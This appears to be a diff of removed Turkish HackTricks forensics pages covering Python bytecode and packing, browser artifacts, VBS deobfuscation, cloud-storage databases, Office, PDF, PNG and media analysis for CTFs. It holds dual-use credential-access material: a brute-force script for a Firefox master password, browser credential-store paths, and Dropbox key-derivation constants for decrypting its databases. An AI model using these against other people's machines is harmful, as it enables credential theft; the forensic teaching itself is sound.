>>> timestamp = struct.unpack('<I', timestamp)
>>> code = marshal.loads(code)
>>> magic, timestamp, code
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
>>>
>>> # Verify if the magic number corresponds with the current python version
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
True
>>>
>>> # Disassemble the code object
>>> dis.disassemble(code)
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
3 MAKE_FUNCTION 0
6 STORE_NAME 0 (hello_world)
9 LOAD_CONST 1 (None)
12 RETURN_VALUE
>>>
>>> # Also disassemble that const being loaded (our function)
>>> dis.disassemble(code.co_consts[0])
2 0 LOAD_CONST 1 ('Hello {0}')
3 LOAD_ATTR 0 (format)
6 LOAD_FAST 0 (name)
9 CALL_FUNCTION 1
12 PRINT_ITEM
13 PRINT_NEWLINE
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
## Python'dan Çalıştırılabilir Dosyaya
Başlamak için, payload'ların py2exe ve PyInstaller ile nasıl derlenebileceğini göstereceğiz.
### py2exe kullanarak bir payload oluşturmak için:
1. [http://www.py2exe.org/](http://www.py2exe.org) adresinden py2exe paketini yükleyin.
2. Payload için (bu durumda, hello.py adını vereceğiz), Şekil 1'deki gibi bir betik kullanın. "bundle_files" seçeneği 1 değeri ile, Python yorumlayıcısı da dahil olmak üzere her şeyi tek bir exe dosyasında birleştirecektir.
3. Betik hazır olduğunda, “python setup.py py2exe” komutunu vereceğiz. Bu, Şekil 2'deki gibi çalıştırılabilir dosyayı oluşturacaktır.
```python
from distutils.core import setup
import py2exe, sys, os
sys.argv.append('py2exe')
setup(
options = {'py2exe': {'bundle_files': 1}},
#windows = [{'script': "hello.py"}],
console = [{'script': "hello.py"}],
zipfile = None,
)
```
```bash
C:\Users\test\Desktop\test>python setup.py py2exe
running py2exe
*** searching for required modules ***
*** parsing results ***
*** finding dlls needed ***
*** create binaries ***
*** byte compile python files ***
*** copy extensions ***
*** copy dlls ***
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
### PyInstaller kullanarak bir payload oluşturmak için:
1. PyInstaller'ı pip ile kurun (pip install pyinstaller).
2. Daha sonra “pyinstaller onefile hello.py” komutunu vereceğiz (hatırlatma olarak hello.py payload'ımızdır). Bu, her şeyi tek bir çalıştırılabilir dosyada birleştirecektir.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
108 INFO: Python: 2.7.14
108 INFO: Platform: Windows-10-10.0.16299
………………………………
5967 INFO: checking EXE
5967 INFO: Building EXE because out00-EXE.toc is non existent
5982 INFO: Building EXE from out00-EXE.toc
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```
## Referanslar
- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,41 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Burada belirli dosya türleri ve/veya yazılımlar için ilginç ipuçları bulabilirsiniz:
{{#ref}}
.pyc.md
{{#endref}}
{{#ref}}
browser-artifacts.md
{{#endref}}
{{#ref}}
desofuscation-vbs-cscript.exe.md
{{#endref}}
{{#ref}}
local-cloud-storage.md
{{#endref}}
{{#ref}}
office-file-analysis.md
{{#endref}}
{{#ref}}
pdf-file-analysis.md
{{#endref}}
{{#ref}}
png-tricks.md
{{#endref}}
{{#ref}}
video-and-audio-file-analysis.md
{{#endref}}
{{#ref}}
zips-tricks.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,162 +0,0 @@
# Tarayıcı Artifaktları
{{#include ../../../banners/hacktricks-training.md}}
## Tarayıcı Artifaktları <a href="#id-3def" id="id-3def"></a>
Tarayıcı artifaktları, web tarayıcıları tarafından saklanan çeşitli veri türlerini içerir; bunlar arasında gezinme geçmişi, yer imleri ve önbellek verileri bulunur. Bu artifaktlar, işletim sistemi içinde belirli klasörlerde saklanır, konum ve isim açısından tarayıcılar arasında farklılık gösterir, ancak genellikle benzer veri türlerini depolar.
En yaygın tarayıcı artifaktlarının bir özeti:
- **Geçmiş**: Kullanıcıların web sitelerine yaptığı ziyaretleri takip eder, kötü niyetli sitelere yapılan ziyaretleri belirlemek için faydalıdır.
- **Otomatik Tamamlama Verileri**: Sık yapılan aramalara dayalı öneriler, gezinme geçmişi ile birleştirildiğinde içgörüler sunar.
- **Yer İmleri**: Kullanıcı tarafından hızlı erişim için kaydedilen siteler.
- **Uzantılar ve Eklentiler**: Kullanıcı tarafından yüklenen tarayıcı uzantıları veya eklentileri.
- **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) saklar, web sitesi yükleme sürelerini iyileştirir, adli analiz için değerlidir.
- **Girişler**: Saklanan giriş kimlik bilgileri.
- **Favikonlar**: Web siteleriyle ilişkili simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgi sağlar.
- **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler.
- **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları.
- **Form Verileri**: Web formlarına girilen bilgiler, gelecekteki otomatik doldurma önerileri için saklanır.
- **Küçük Resimler**: Web sitelerinin önizleme resimleri.
- **Custom Dictionary.txt**: Kullanıcı tarafından tarayıcının sözlüğüne eklenen kelimeler.
## Firefox
Firefox, kullanıcı verilerini profiller içinde düzenler, bu profiller işletim sistemine bağlı olarak belirli konumlarda saklanır:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Bu dizinlerdeki `profiles.ini` dosyası, kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` içindeki `Path` değişkeninde belirtilen bir klasörde saklanır ve bu klasör `profiles.ini` ile aynı dizinde bulunur. Bir profilin klasörü eksikse, silinmiş olabilir.
Her profil klasöründe, birkaç önemli dosya bulabilirsiniz:
- **places.sqlite**: Geçmiş, yer imleri ve indirmeleri saklar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gibi araçlar geçmiş verilerine erişebilir.
- Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorguları kullanın.
- **bookmarkbackups**: Yer imlerinin yedeklerini içerir.
- **formhistory.sqlite**: Web form verilerini saklar.
- **handlers.json**: Protokol yöneticilerini yönetir.
- **persdict.dat**: Özel sözlük kelimeleri.
- **addons.json** ve **extensions.sqlite**: Yüklenen eklentiler ve uzantılar hakkında bilgi.
- **cookies.sqlite**: Çerez depolama, Windows'ta [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) ile denetlenebilir.
- **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) gibi araçlar aracılığıyla erişilebilir.
- **favicons.sqlite**: Favikonları saklar.
- **prefs.js**: Kullanıcı ayarları ve tercihleri.
- **downloads.sqlite**: Eski indirme veritabanı, artık places.sqlite içine entegre edilmiştir.
- **thumbnails**: Web sitesi küçük resimleri.
- **logins.json**: Şifrelenmiş giriş bilgileri.
- **key4.db** veya **key3.db**: Hassas bilgileri güvence altına almak için şifreleme anahtarlarını saklar.
Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` içinde `browser.safebrowsing` girdilerini arayarak güvenli gezinme özelliklerinin etkinleştirilip etkinleştirilmediğini belirleyebilirsiniz.
Ana şifreyi çözmeye çalışmak için [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) kullanabilirsiniz.\
Aşağıdaki betik ve çağrı ile bir şifre dosyasını zorlamak için belirtebilirsiniz:
```bash:brute.sh
#!/bin/bash
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
passfile=$1
while read pass; do
echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
![](<../../../images/image (417).png>)
## Google Chrome
Google Chrome, işletim sistemine bağlı olarak kullanıcı profillerini belirli konumlarda saklar:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Bu dizinler içinde, çoğu kullanıcı verisi **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Aşağıdaki dosyalar önemli veriler içerir:
- **History**: URL'ler, indirmeler ve arama anahtar kelimelerini içerir. Windows'ta, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) kullanılarak geçmiş okunabilir. "Transition Type" sütunu, kullanıcıların bağlantılara tıklamaları, yazılan URL'ler, form gönderimleri ve sayfa yenilemeleri gibi çeşitli anlamlar taşır.
- **Cookies**: Çerezleri saklar. İnceleme için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) mevcuttur.
- **Cache**: Önbelleğe alınmış verileri tutar. İncelemek için Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) kullanabilir.
- **Bookmarks**: Kullanıcı yer imleri.
- **Web Data**: Form geçmişini içerir.
- **Favicons**: Web sitesi favicon'larını saklar.
- **Login Data**: Kullanıcı adları ve şifreler gibi giriş bilgilerini içerir.
- **Current Session**/**Current Tabs**: Mevcut tarayıcı oturumu ve açık sekmeler hakkında veriler.
- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgiler.
- **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler.
- **Thumbnails**: Web sitesi küçük resimlerini saklar.
- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren bilgi açısından zengin bir dosya.
- **Browserın yerleşik anti-phishing**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın.
## **SQLite DB Veri Kurtarma**
Önceki bölümlerde gözlemlediğiniz gibi, hem Chrome hem de Firefox verileri saklamak için **SQLite** veritabanları kullanır. **Silinmiş girişleri kurtarmak için** [**sqlparse**](https://github.com/padfoot999/sqlparse) **veya** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **aracını kullanmak mümkündür.**
## **Internet Explorer 11**
Internet Explorer 11, verilerini ve meta verilerini çeşitli konumlarda yönetir, bu da saklanan bilgilerin ve ilgili detayların kolay erişim ve yönetim için ayrılmasına yardımcı olur.
### Meta Veri Saklama
Internet Explorer için meta veriler `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` içinde saklanır (VX V01, V16 veya V24 olabilir). Bununla birlikte, `V01.log` dosyası `WebcacheVX.data` ile değişiklik zamanı tutarsızlıklarını gösterebilir, bu da `esentutl /r V01 /d` kullanarak onarım gerektirdiğini gösterir. Bu meta veriler, bir ESE veritabanında saklanır ve photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosunda, her veri segmentinin saklandığı belirli tablolar veya konteynerler, diğer Microsoft araçları için önbellek detayları da dahil olmak üzere, belirlenebilir.
### Önbellek İncelemesi
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) aracı, önbellek incelemesi için önbellek verisi çıkarım klasör konumunu gerektirir. Önbellek için meta veriler dosya adı, dizin, erişim sayısı, URL kaynağı ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir.
### Çerez Yönetimi
Çerezler [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir, meta veriler isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili detayları kapsar. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte bulunur.
### İndirme Detayları
İndirme meta verileri [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracılığıyla erişilebilir, belirli konteynerler URL, dosya türü ve indirme konumu gibi verileri tutar. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir.
### Tarayıcı Geçmişi
Tarayıcı geçmişini gözden geçirmek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) kullanılabilir, çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Buradaki meta veriler, değişiklik ve erişim zamanlarını, ayrıca erişim sayısını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` içinde yer alır.
### Yazılan URL'ler
Yazılan URL'ler ve kullanım zamanları, `NTUSER.DAT` içinde `Software\Microsoft\InternetExplorer\TypedURLs` ve `Software\Microsoft\InternetExplorer\TypedURLsTime` altında saklanır, kullanıcının girdiği son 50 URL ve son giriş zamanlarını takip eder.
## Microsoft Edge
Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` içinde saklar. Çeşitli veri türleri için yollar:
- **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Ayarlar, Yer İmleri ve Okuma Listesi**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **Önbellek**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **Son Aktif Oturumlar**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
Safari verileri `/Users/$User/Library/Safari` içinde saklanır. Ana dosyalar:
- **History.db**: `history_visits` ve `history_items` tablolarını içerir, URL'ler ve ziyaret zaman damgaları ile. Sorgulamak için `sqlite3` kullanın.
- **Downloads.plist**: İndirilen dosyalar hakkında bilgi.
- **Bookmarks.plist**: Yerleştirilen URL'leri saklar.
- **TopSites.plist**: En sık ziyaret edilen siteler.
- **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın.
- **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın.
- **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın.
- **Browserın yerleşik anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` kullanarak kontrol edin. 1 yanıtı, özelliğin aktif olduğunu gösterir.
## Opera
Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde bulunur ve geçmiş ile indirmeler için Chrome'un formatını paylaşır.
- **Browserın yerleşik anti-phishing**: `Preferences` dosyasında `fraud_protection_enabled` değerinin `true` olarak ayarlandığını kontrol ederek doğrulayın, `grep` kullanarak.
Bu yollar ve komutlar, farklı web tarayıcıları tarafından saklanan tarayıcı verilerine erişim ve anlama açısından kritik öneme sahiptir.
## References
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,42 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Kötü niyetli bir VBS dosyasını hata ayıklamak/deobfuscate etmek için faydalı olabilecek bazı şeyler:
## echo
```bash
Wscript.Echo "Like this?"
```
## Yorumlar
```bash
' this is a comment
```
## Test
```bash
cscript.exe file.vbs
```
## Bir dosyaya veri yazma
```js
Function writeBinary(strBinary, strPath)
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
' below lines purpose: checks that write access is possible!
Dim oTxtStream
On Error Resume Next
Set oTxtStream = oFSO.createTextFile(strPath)
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
On Error GoTo 0
Set oTxtStream = Nothing
' end check of write access
With oFSO.createTextFile(strPath)
.Write(strBinary)
.Close
End With
End Function
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,97 +0,0 @@
# Yerel Bulut Depolama
{{#include ../../../banners/hacktricks-training.md}}
## OneDrive
Windows'ta, OneDrive klasörünü `\Users\<username>\AppData\Local\Microsoft\OneDrive` içinde bulabilirsiniz. Ve `logs\Personal` içinde, senkronize edilmiş dosyalarla ilgili bazı ilginç verileri içeren `SyncDiagnostics.log` dosyasını bulmak mümkündür:
- Boyut (bayt cinsinden)
- Oluşturulma tarihi
- Değiştirilme tarihi
- Buluttaki dosya sayısı
- Klasördeki dosya sayısı
- **CID**: OneDrive kullanıcısının benzersiz kimliği
- Rapor oluşturma zamanı
- İşletim sisteminin HD boyutu
CID'yi bulduktan sonra, **bu kimliği içeren dosyaları aramanız önerilir**. _**\<CID>.ini**_ ve _**\<CID>.dat**_ gibi ilginç bilgiler içerebilecek dosyaları bulabilirsiniz; bu dosyalar OneDrive ile senkronize edilmiş dosyaların adlarını içerebilir.
## Google Drive
Windows'ta, ana Google Drive klasörünü `\Users\<username>\AppData\Local\Google\Drive\user_default` içinde bulabilirsiniz.\
Bu klasör, hesap e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 hash'leri gibi bilgileri içeren Sync_log.log adında bir dosya içerir. Silinmiş dosyalar bile bu günlük dosyasında ilgili MD5 ile görünmektedir.
**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda, **senkronize** **dosyaların** **adı**, değiştirilme zamanı, boyut ve dosyaların MD5 kontrol toplamını bulabilirsiniz.
**`Sync_config.db`** veritabanının tablo verileri, hesap e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir.
## Dropbox
Dropbox, dosyaları yönetmek için **SQLite veritabanları** kullanır. Bu\
Veritabanlarını şu klasörlerde bulabilirsiniz:
- `\Users\<username>\AppData\Local\Dropbox`
- `\Users\<username>\AppData\Local\Dropbox\Instance1`
- `\Users\<username>\AppData\Roaming\Dropbox`
Ve ana veritabanları şunlardır:
- Sigstore.dbx
- Filecache.dbx
- Deleted.dbx
- Config.dbx
".dbx" uzantısı, **veritabanlarının** **şifreli** olduğunu gösterir. Dropbox, **DPAPI** kullanır ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>))
Dropbox'un kullandığı şifrelemeyi daha iyi anlamak için [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) adresini okuyabilirsiniz.
Ancak, ana bilgiler şunlardır:
- **Entropy**: d114a55212655f74bd772e37e64aee9b
- **Salt**: 0D638C092E8B82FC452883F95F355B8E
- **Algorithm**: PBKDF2
- **Iterations**: 1066
Bu bilgilere ek olarak, veritabanlarını şifrelerini çözmek için hala şunlara ihtiyacınız var:
- **şifreli DPAPI anahtarı**: Bunu `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın)
- **`SYSTEM`** ve **`SECURITY`** hives
- **DPAPI anahtarları**: `\Users\<username>\AppData\Roaming\Microsoft\Protect` içinde bulunabilir
- Windows kullanıcısının **kullanıcı adı** ve **şifresi**
Sonra [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)** aracını kullanabilirsiniz:**
![](<../../../images/image (448).png>)
Her şey beklendiği gibi giderse, araç, **orijinalini geri kazanmak için kullanmanız gereken anahtarı** gösterecektir. Orijinalini geri kazanmak için, bu [cyber_chef tarifi](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) kullanarak anahtarı tarifin "şifre" kısmına koyun.
Sonuçta elde edilen hex, veritabanlarını şifrelemek için kullanılan nihai anahtardır ve şu şekilde şifresi çözülebilir:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
**`config.dbx`** veritabanı şunları içerir:
- **Email**: Kullanıcının e-posta adresi
- **usernamedisplayname**: Kullanıcının adı
- **dropbox_path**: Dropbox klasörünün bulunduğu yol
- **Host_id: Hash**: Buluta kimlik doğrulamak için kullanılan hash. Bu yalnızca web üzerinden iptal edilebilir.
- **Root_ns**: Kullanıcı tanımlayıcısı
**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosyalar ve klasörler hakkında bilgi içerir. `File_journal` tablosu daha fazla yararlı bilgiye sahiptir:
- **Server_path**: Dosyanın sunucu içindeki bulunduğu yol (bu yol, istemcinin `host_id` ile önceden gelir).
- **local_sjid**: Dosyanın versiyonu
- **local_mtime**: Değiştirilme tarihi
- **local_ctime**: Oluşturulma tarihi
Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir:
- **block_cache**: Dropbox'ın tüm dosya ve klasörlerinin hash'i
- **block_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'si ile ilişkilendirir
- **mount_table**: Dropbox'ın paylaşılan klasörleri
- **deleted_fields**: Dropbox'tan silinen dosyalar
- **date_added**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,18 +0,0 @@
# Office dosyası analizi
{{#include ../../../banners/hacktricks-training.md}}
Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) adresini kontrol edin. Bu sadece bir özet:
Microsoft, iki ana türü **OLE formatları** (RTF, DOC, XLS, PPT gibi) ve **Office Open XML (OOXML) formatları** (DOCX, XLSX, PPTX gibi) olan birçok ofis belge formatı oluşturmuştur. Bu formatlar makrolar içerebilir, bu da onları kimlik avı ve kötü amaçlı yazılım hedefleri haline getirir. OOXML dosyaları, dosya ve klasör hiyerarşisini ve XML dosyası içeriklerini ortaya çıkaran zip konteynerleri olarak yapılandırılmıştır.
OOXML dosya yapısını keşfetmek için bir belgeyi açmak için kullanılan komut ve çıktı yapısı verilmiştir. Bu dosyalarda veri gizleme teknikleri belgelenmiştir ve CTF zorlukları içinde veri gizleme konusunda devam eden yenilikleri göstermektedir.
Analiz için, **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım dağıtım vektörleri olarak hizmet eden gömülü makroları tanımlama ve analiz etme konusunda yardımcı olur; genellikle ek kötü amaçlı yükleri indirip çalıştırırlar. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan gerçekleştirilebilir; bu, kesme noktaları ve izleme değişkenleri ile hata ayıklamaya olanak tanır.
**oletools**'un kurulumu ve kullanımı basittir; pip ile kurulum ve belgelerden makro çıkarma komutları sağlanmıştır. Makroların otomatik olarak çalıştırılması, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,20 +0,0 @@
# PDF Dosya analizi
{{#include ../../../banners/hacktricks-training.md}}
**Daha fazla bilgi için kontrol edin:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
PDF formatı, karmaşıklığı ve verileri gizleme potansiyeli ile bilinir, bu da onu CTF adli bilişim zorlukları için bir odak noktası haline getirir. Düz metin unsurlarını, sıkıştırılmış veya şifrelenmiş olabilecek ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerdeki betikleri içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyaline](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF'ye özel bir düzenleyici kullanılabilir.
PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler şunlarda gizlenebilir:
- Görünmez katmanlar
- Adobe tarafından sağlanan XMP meta veri formatı
- Artan nesil
- Arka planla aynı renkteki metin
- Resimlerin arkasındaki metin veya üst üste binen resimler
- Gösterilmeyen yorumlar
Özel PDF analizi için, [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemleri üzerine rehberi gibi kaynaklar, artık orijinal konumunda barındırılmasa da, hala değerli bilgiler sunmaktadır. [Rehberin bir kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini tarafından hazırlanan [PDF formatı hileleri](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konu hakkında daha fazla okuma sağlayabilir.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,9 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
**PNG dosyaları**, **kaybı olmayan sıkıştırma** özellikleri nedeniyle **CTF zorlukları** için yüksek bir itibara sahiptir ve gizli verilerin gömülmesi için idealdir. **Wireshark** gibi araçlar, PNG dosyalarının verilerini ağ paketleri içinde analiz ederek, gömülü bilgileri veya anormallikleri ortaya çıkarmaya olanak tanır.
PNG dosyası bütünlüğünü kontrol etmek ve bozulmaları onarmak için **pngcheck** kritik bir araçtır; PNG dosyalarını doğrulamak ve teşhis etmek için komut satırı işlevselliği sunar ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Dosyalar basit onarımların ötesindeyse, [OfficeRecovery'nin PixRecovery](https://online.officerecovery.com/pixrecovery/) gibi çevrimiçi hizmetler, **bozulmuş PNG'leri onarmak** için web tabanlı bir çözüm sunarak CTF katılımcıları için kritik verilerin kurtarılmasına yardımcı olur.
Bu stratejiler, CTF'lerde kapsamlı bir yaklaşımın önemini vurgular; gizli veya kaybolmuş verileri ortaya çıkarmak ve kurtarmak için analitik araçlar ve onarım tekniklerinin bir karışımını kullanır.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,17 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
**Ses ve video dosyası manipülasyonu**, **CTF adli bilişim zorlukları** için temel bir unsurdur ve gizli mesajları saklamak veya ortaya çıkarmak için **steganografi** ve meta veri analizinden yararlanır. **[mediainfo](https://mediaarea.net/en/MediaInfo)** ve **`exiftool`** gibi araçlar, dosya meta verilerini incelemek ve içerik türlerini tanımlamak için gereklidir.
Ses zorlukları için, **[Audacity](http://www.audacityteam.org/)**, dalga formlarını görüntülemek ve ses spektrumlarını analiz etmek için öne çıkan bir araçtır; bu, ses içinde kodlanmış metni ortaya çıkarmak için gereklidir. **[Sonic Visualiser](http://www.sonicvisualiser.org/)**, detaylı spektrum analizi için şiddetle tavsiye edilir. **Audacity**, gizli mesajları tespit etmek için parçaları yavaşlatma veya tersine çevirme gibi ses manipülasyonlarına olanak tanır. **[Sox](http://sox.sourceforge.net/)**, ses dosyalarını dönüştürme ve düzenleme konusunda mükemmel bir komut satırı aracıdır.
**En Az Anlamlı Bitler (LSB)** manipülasyonu, ses ve video steganografisinde yaygın bir tekniktir ve medya dosyalarının sabit boyutlu parçalarını kullanarak verileri gizlice yerleştirir. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**, **DTMF tonları** veya **Morse kodu** olarak gizlenmiş mesajları çözmek için faydalıdır.
Video zorlukları genellikle ses ve video akışlarını bir araya getiren konteyner formatlarını içerir. **[FFmpeg](http://ffmpeg.org/)**, bu formatları analiz etmek ve manipüle etmek için başvurulan araçtır; içeriği de-multiplexing yapabilir ve oynatabilir. Geliştiriciler için, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**, FFmpeg'in yeteneklerini Python'a entegre ederek gelişmiş scriptable etkileşimler sağlar.
Bu araçlar dizisi, CTF zorluklarında gereken çok yönlülüğü vurgular; katılımcılar, ses ve video dosyalarında gizli verileri ortaya çıkarmak için geniş bir analiz ve manipülasyon teknikleri yelpazesini kullanmalıdır.
## References
- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,21 +0,0 @@
